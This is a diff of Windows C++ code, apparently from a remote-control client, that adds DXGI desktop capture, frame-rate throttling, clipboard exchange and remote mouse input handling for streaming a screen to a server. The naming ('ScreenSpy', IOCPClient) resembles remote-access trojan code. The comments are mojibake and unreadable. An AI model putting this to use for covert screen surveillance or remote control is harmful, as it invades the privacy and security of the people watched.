SAFE_DELETE_ARRAY(m_FirstBuffer);
|
||||
SAFE_DELETE_ARRAY(m_NextBuffer);
|
||||
SAFE_DELETE_ARRAY(m_RectBuffer);
|
||||
}
|
||||
|
||||
void InitDXGI() {
|
||||
// 1. <20><><EFBFBD><EFBFBD> D3D11 <20>豸
|
||||
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
|
||||
|
||||
// 2. <20><>ȡ DXGI <20>豸
|
||||
IDXGIDevice* dxgiDevice = nullptr;
|
||||
d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
|
||||
|
||||
// 3. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
IDXGIAdapter* dxgiAdapter = nullptr;
|
||||
dxgiDevice->GetAdapter(&dxgiAdapter);
|
||||
|
||||
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>
|
||||
IDXGIOutput* dxgiOutput = nullptr;
|
||||
dxgiAdapter->EnumOutputs(0, &dxgiOutput);
|
||||
|
||||
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
|
||||
IDXGIOutput1* dxgiOutput1 = nullptr;
|
||||
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
|
||||
// 6. <20><><EFBFBD><EFBFBD> Desktop Duplication
|
||||
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
|
||||
// 7. <20><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С
|
||||
DXGI_OUTDUPL_DESC duplDesc;
|
||||
deskDupl->GetDesc(&duplDesc);
|
||||
m_ulFullWidth = duplDesc.ModeDesc.Width;
|
||||
m_ulFullHeight = duplDesc.ModeDesc.Height;
|
||||
|
||||
// 8. <20><><EFBFBD><EFBFBD> CPU <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
D3D11_TEXTURE2D_DESC desc = {};
|
||||
desc.Width = m_ulFullWidth;
|
||||
desc.Height = m_ulFullHeight;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
|
||||
|
||||
// 9. <20><>ʼ<EFBFBD><CABC> BITMAPINFO
|
||||
m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)];
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth;
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight;
|
||||
m_BitmapInfor_Full->bmiHeader.biPlanes = 1;
|
||||
m_BitmapInfor_Full->bmiHeader.biBitCount = 32;
|
||||
m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB;
|
||||
m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
|
||||
// 10. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
|
||||
// <20>ͷ<EFBFBD> DXGI <20><>Դ
|
||||
dxgiOutput1->Release();
|
||||
dxgiOutput->Release();
|
||||
dxgiAdapter->Release();
|
||||
dxgiDevice->Release();
|
||||
}
|
||||
|
||||
void CleanupDXGI() {
|
||||
if (cpuTexture) cpuTexture->Release();
|
||||
if (deskDupl) deskDupl->Release();
|
||||
if (d3dContext) d3dContext->Release();
|
||||
if (d3dDevice) d3dDevice->Release();
|
||||
}
|
||||
|
||||
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override {
|
||||
int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1);
|
||||
if (ret)
|
||||
return nullptr;
|
||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
}
|
||||
m_FirstBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
return m_FirstBuffer;
|
||||
}
|
||||
|
||||
LPBYTE ScanNextScreen() override {
|
||||
ULONG ulNextScreenLength = 0;
|
||||
int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0);
|
||||
if (ret)
|
||||
return nullptr;
|
||||
|
||||
return m_NextBuffer;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstBuffer() const {
|
||||
return m_FirstBuffer + 1;
|
||||
}
|
||||
|
||||
private:
|
||||
int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes) {
|
||||
// 1. <20><>ȡ<EFBFBD><C8A1>һ֡
|
||||
IDXGIResource* desktopResource = nullptr;
|
||||
DXGI_OUTDUPL_FRAME_INFO frameInfo;
|
||||
HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
|
||||
if (FAILED(hr)) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 2. <20><>ȡ ID3D11Texture2D
|
||||
ID3D11Texture2D* texture = nullptr;
|
||||
hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture);
|
||||
if (FAILED(hr)) {
|
||||
deskDupl->ReleaseFrame();
|
||||
return -2;
|
||||
}
|
||||
|
||||
// 3. <20><><EFBFBD>Ƶ<EFBFBD> CPU <20><><EFBFBD><EFBFBD>
|
||||
d3dContext->CopyResource(cpuTexture, texture);
|
||||
|
||||
// 4. <20>ͷ<EFBFBD> DXGI <20><>Դ
|
||||
deskDupl->ReleaseFrame();
|
||||
texture->Release();
|
||||
desktopResource->Release();
|
||||
|
||||
// 5. <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
D3D11_MAPPED_SUBRESOURCE mapped;
|
||||
hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped);
|
||||
if (FAILED(hr)) {
|
||||
return -3;
|
||||
}
|
||||
|
||||
// 6. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ת<EFBFBD><D7AA>
|
||||
BYTE* pData = (BYTE*)mapped.pData;
|
||||
int rowSize = m_ulFullWidth * 4; // ÿ<>е<EFBFBD><D0B5>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>RGBA<42><41>
|
||||
|
||||
for (int y = 0; y < m_ulFullHeight; y++) {
|
||||
// <20><><EFBFBD><EFBFBD>Ŀ<EFBFBD>껺<EFBFBD><EABBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>ã<EFBFBD><C3A3>ӵײ<D3B5><D7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int destIndex = reservedBytes + (m_ulFullHeight - 1 - y) * rowSize;
|
||||
int srcIndex = y * mapped.RowPitch; // Direct3D <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
memcpy(buffer + destIndex, pData + srcIndex, rowSize);
|
||||
}
|
||||
|
||||
// 7. <20><><EFBFBD><EFBFBD>
|
||||
d3dContext->Unmap(cpuTexture, 0);
|
||||
|
||||
*frameSize = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
@@ -14,6 +14,9 @@
|
||||
#include <time.h>
|
||||
using namespace std;
|
||||
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapturerDXGI.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -21,16 +24,43 @@ using namespace std;
|
||||
#define WM_MOUSEWHEEL 0x020A
|
||||
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
||||
|
||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
bool IsWindows8orHigher() {
|
||||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hMod) return false;
|
||||
|
||||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||||
if (!rtlGetVersion) return false;
|
||||
|
||||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||||
if (rtlGetVersion(&rovi) == 0) {
|
||||
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
m_bIsWorking = TRUE;
|
||||
m_bIsBlockInput = FALSE;
|
||||
|
||||
m_ScreenSpyObject = new CScreenSpy(16);
|
||||
bool DXGI = false;
|
||||
BYTE algo = ALGORITHM_DIFF;
|
||||
if (!(user == NULL || (int)user == 1)) {
|
||||
UserParam* param = (UserParam*)user;
|
||||
if (param) {
|
||||
DXGI = param->buffer[0];
|
||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||
delete param;
|
||||
}
|
||||
} else {
|
||||
DXGI = user;
|
||||
}
|
||||
Mprintf("CScreenManager: DXGI %s Algorithm: %d\n", DXGI ? "On":"Off", int(algo));
|
||||
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI(algo) : new CScreenSpy(32, algo);
|
||||
|
||||
szBuffer = new char[4 * m_ScreenSpyObject->m_ulFullWidth * m_ScreenSpyObject->m_ulFullHeight];
|
||||
|
||||
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
|
||||
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
||||
}
|
||||
|
||||
|
||||
@@ -53,6 +83,11 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
const int fps = 8;// ֡<><D6A1>
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
||||
int c1 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
|
||||
int c2 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>̵Ĵ<CCB5><C4B4><EFBFBD>
|
||||
float s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
|
||||
const int frames = fps; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||
const float alpha = 1.03; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking)
|
||||
{
|
||||
@@ -60,16 +95,36 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
|
||||
if (szBuffer)
|
||||
{
|
||||
int span = sleep-(clock() - last);
|
||||
s0 = max(s0, 50); // <20><><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF>20֡
|
||||
s0 = min(s0, 1000);
|
||||
int span = s0-(clock() - last);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0)
|
||||
printf("SendScreen Span = %d ms\n", span);
|
||||
if (span < 0) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD>ϳ<EFBFBD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ϶<DDBD>
|
||||
{
|
||||
c2 = 0;
|
||||
if (frames == ++c1) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
|
||||
c1 = 0;
|
||||
#ifdef _DEBUG
|
||||
Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
|
||||
#endif
|
||||
}
|
||||
} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
|
||||
c1 = 0;
|
||||
if (frames == ++c2) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
|
||||
c2 = 0;
|
||||
#ifdef _DEBUG
|
||||
Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
last = clock();
|
||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||
}
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
cout<<"ScreenWorkThread Exit\n";
|
||||
Mprintf("ScreenWorkThread Exit\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -77,10 +132,11 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
VOID CScreenManager::SendBitMapInfo()
|
||||
{
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D>ṹ<EFBFBD>Ĵ<EFBFBD>С
|
||||
ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize();
|
||||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||||
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
||||
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
szBuffer[0] = TOKEN_BITMAPINFO;
|
||||
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||
@@ -90,7 +146,7 @@ VOID CScreenManager::SendBitMapInfo()
|
||||
|
||||
CScreenManager::~CScreenManager()
|
||||
{
|
||||
cout<<"ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
|
||||
@@ -100,13 +156,8 @@ CScreenManager::~CScreenManager()
|
||||
CloseHandle(m_hWorkThread);
|
||||
}
|
||||
|
||||
delete[] m_ScreenSpyObject;
|
||||
delete m_ScreenSpyObject;
|
||||
m_ScreenSpyObject = NULL;
|
||||
if(szBuffer)
|
||||
{
|
||||
delete [] szBuffer;
|
||||
szBuffer = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
@@ -157,10 +208,12 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
||||
if (hGlobal != NULL) {
|
||||
|
||||
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||||
if (szClipboardVirtualAddress == NULL)
|
||||
return;
|
||||
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||||
GlobalUnlock(hGlobal);
|
||||
SetClipboardData(CF_TEXT, hGlobal);
|
||||
GlobalFree(hGlobal);
|
||||
if(NULL==SetClipboardData(CF_TEXT, hGlobal))
|
||||
GlobalFree(hGlobal);
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
@@ -175,7 +228,7 @@ VOID CScreenManager::SendClientClipboard()
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||||
size_t iPacketLength = GlobalSize(hGlobal) + 1;
|
||||
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD>
|
||||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||||
|
||||
@@ -191,21 +244,14 @@ VOID CScreenManager::SendClientClipboard()
|
||||
|
||||
VOID CScreenManager::SendFirstScreen()
|
||||
{
|
||||
//<2F><>CScreenSpy<70><79>getFirstScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>еõ<D0B5>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//Ȼ<><C8BB><EFBFBD><EFBFBD>getFirstImageSize<7A>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵĴ<DDB5>СȻ<D0A1><C8BB><EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
|
||||
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData();
|
||||
if (FirstScreenData == NULL)
|
||||
ULONG ulFirstSendLength = 0;
|
||||
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
|
||||
if (ulFirstSendLength == 0 || FirstScreenData == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
|
||||
|
||||
szBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
|
||||
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
|
||||
szBuffer[ulFirstSendLength] = 0;
|
||||
m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
|
||||
}
|
||||
|
||||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
@@ -217,13 +263,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ulNextSendLength += 1;
|
||||
|
||||
szBuffer[0] = TOKEN_NEXTSCREEN;
|
||||
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
|
||||
szBuffer[ulNextSendLength] = 0;
|
||||
|
||||
return szBuffer;
|
||||
return (char*)NextScreenData;
|
||||
}
|
||||
|
||||
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
||||
@@ -233,17 +273,24 @@ VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength
|
||||
|
||||
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
// <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
|
||||
if (ulLength % sizeof(MSG) != 0)
|
||||
return;
|
||||
int msgSize = sizeof(MSG64);
|
||||
if (ulLength % 28 == 0) // 32λ<32><CEBB><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
msgSize = 28;
|
||||
else if (ulLength % 48 == 0) // 64λ<34><CEBB><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
msgSize = 48;
|
||||
else return; // <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ULONG ulMsgCount = ulLength / sizeof(MSG);
|
||||
ULONG ulMsgCount = ulLength / msgSize;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
for (int i = 0; i < ulMsgCount; ++i)
|
||||
BYTE* ptr = szBuffer;
|
||||
MSG32 msg32;
|
||||
MSG64 msg64;
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize)
|
||||
{
|
||||
MSG *Msg = (MSG *)(szBuffer + i * sizeof(MSG));
|
||||
MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :
|
||||
(MSG64*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||
switch (Msg->message)
|
||||
{
|
||||
case WM_LBUTTONDOWN:
|
||||
@@ -259,11 +306,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
POINT Point;
|
||||
Point.x = LOWORD(Msg->lParam);
|
||||
Point.y = HIWORD(Msg->lParam);
|
||||
if(m_ScreenSpyObject->m_bZoomed)
|
||||
{
|
||||
Point.x *= m_ScreenSpyObject->m_wZoom;
|
||||
Point.y *= m_ScreenSpyObject->m_hZoom;
|
||||
}
|
||||
m_ScreenSpyObject->PointConversion(Point);
|
||||
SetCursorPos(Point.x, Point.y);
|
||||
SetCapture(WindowFromPoint(Point));
|
||||
}
|
||||
|
||||
@@ -11,14 +11,14 @@
|
||||
|
||||
#include "Manager.h"
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
class IOCPClient;
|
||||
|
||||
class CScreenManager : public CManager
|
||||
{
|
||||
public:
|
||||
char* szBuffer;
|
||||
CScreenManager(IOCPClient* ClientObject, int n);
|
||||
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CScreenManager();
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
@@ -26,7 +26,7 @@ public:
|
||||
VOID SendBitMapInfo();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
CScreenSpy* m_ScreenSpyObject;
|
||||
ScreenCapture* m_ScreenSpyObject;
|
||||
VOID SendFirstScreen();
|
||||
const char* GetNextScreen(ULONG &ulNextSendLength);
|
||||
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
||||
|
||||
@@ -11,62 +11,55 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(algo)
|
||||
{
|
||||
m_bAlgorithm = ALGORITHM_DIFF;
|
||||
m_dwBitBltRop = SRCCOPY;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
switch (ulbiBitCount)
|
||||
{
|
||||
case 16:
|
||||
case 32:
|
||||
m_ulbiBitCount = ulbiBitCount;
|
||||
break;
|
||||
default:
|
||||
m_ulbiBitCount = 16;
|
||||
}
|
||||
m_GOP = gop;
|
||||
int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
|
||||
|
||||
m_BitmapInfor_Full = new BITMAPINFO();
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
|
||||
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);
|
||||
BitmapInforHeader->biWidth = m_ulFullWidth; //1080
|
||||
BitmapInforHeader->biHeight = m_ulFullHeight; //1920
|
||||
BitmapInforHeader->biPlanes = 1;
|
||||
BitmapInforHeader->biBitCount = ulbiBitCount; //ͨ<><CDA8>Ϊ32
|
||||
BitmapInforHeader->biCompression = BI_RGB;
|
||||
BitmapInforHeader->biSizeImage =
|
||||
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight;
|
||||
|
||||
m_hDeskTopWnd = GetDesktopWindow();
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>
|
||||
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
||||
DEVMODE devmode;
|
||||
memset(&devmode, 0, sizeof (devmode));
|
||||
devmode.dmSize = sizeof(DEVMODE);
|
||||
devmode.dmDriverExtra = 0;
|
||||
BOOL Isgetdisplay = EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode);
|
||||
m_ulFullWidth = devmode.dmPelsWidth;
|
||||
m_ulFullHeight = devmode.dmPelsHeight;
|
||||
int w = ::GetSystemMetrics(SM_CXSCREEN), h = ::GetSystemMetrics(SM_CYSCREEN);
|
||||
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
|
||||
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
|
||||
printf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
||||
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
|
||||
m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
|
||||
m_BitmapData_Full = NULL;
|
||||
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
||||
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
||||
m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
|
||||
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
|
||||
m_DiffBitmapData_Full = NULL;
|
||||
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
||||
|
||||
m_RectBufferOffset = 0;
|
||||
|
||||
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
||||
DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
|
||||
}
|
||||
|
||||
|
||||
CScreenSpy::~CScreenSpy()
|
||||
{
|
||||
ReleaseDC(m_hDeskTopWnd, m_hFullDC); //GetDC
|
||||
if (m_BitmapInfor_Full != NULL)
|
||||
{
|
||||
delete m_BitmapInfor_Full;
|
